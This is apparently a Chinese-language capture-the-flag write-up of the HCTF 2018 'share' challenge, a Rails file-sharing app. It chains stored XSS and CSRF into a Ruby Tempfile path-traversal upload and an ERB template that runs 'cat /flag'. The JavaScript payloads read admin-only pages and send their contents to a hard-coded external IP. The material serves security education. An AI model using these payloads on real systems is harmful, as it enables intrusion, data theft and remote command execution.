HCTF 2018 share复盘
HCTF 2018 share复盘
解题流程
上来发现功能点很少,只有一个Share to admin可以使用,一般来说这种都是XSS
扫描目录发现robots.txt存在,发现部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end这些路由都需要管理员的登录,所以我们还是需要XSS,随便写一个
<script src="http://vps/a.js"
,可以发现服务器请求了我们的vps,证明可以利用,但是在cookie是httponly,所以无法直接读取现在思路很清楚,通过csrf来获取管理员的页面,所以我们构建payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
result=xmlhttp.responseText;
result=encodeURI(result);
xmlhttp.open("POST","http://120.77.152.169:2340/",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("aaa="+result);
}
}
xmlhttp.open("GET","http://localhost:2000/home/upload",true);
xmlhttp.send();可以读取到admin的界面代码
根据hint1和hint2给出的代码和目录结构,我们可以大致整理出来思路
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29hint1:
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
hint2:
<%= render template: "home/"+params[:page] %>在hint2中,我们可以包含home目录下面的模版文件,但是不能够进行目录穿越
题目的模版文件在home目录下
share = Tempfile.new(name.split(‘.’+ext)[0],Rails.root.to_s+”/public/upload”),在之前ruby的一个CVE中
可以看到上面上传的时候就是用了这个库,所以我们可以将我们上传的文件上传到home下面,然后渲染它
构建文件上传的js:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24$.get("http://localhost:2000/home/upload",function(data){
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
var formData = new FormData();
formData.append("authenticity_token", token);
formData.append("file[context]", "zxcvxzcvxzcv");
var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:2000/file/upload");
request.send(formData);
request.onreadystatechange=function()
{
if (request.readyState==4)
{
$.ajax({url:'http://120.77.152.169:2340/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
}
}
});执行成功后,我们可以看到我们的file数量多了1
但是文件是重命名过的,我们需要管理员把文件分享给我们,我们才能获取到文件名,所以我们需要构建一个post请求csrf来让管理员把文件分享给我们
之后可以在自己的账户下看到文件和文件名
之后我们可以用home下面的渲染来获得flag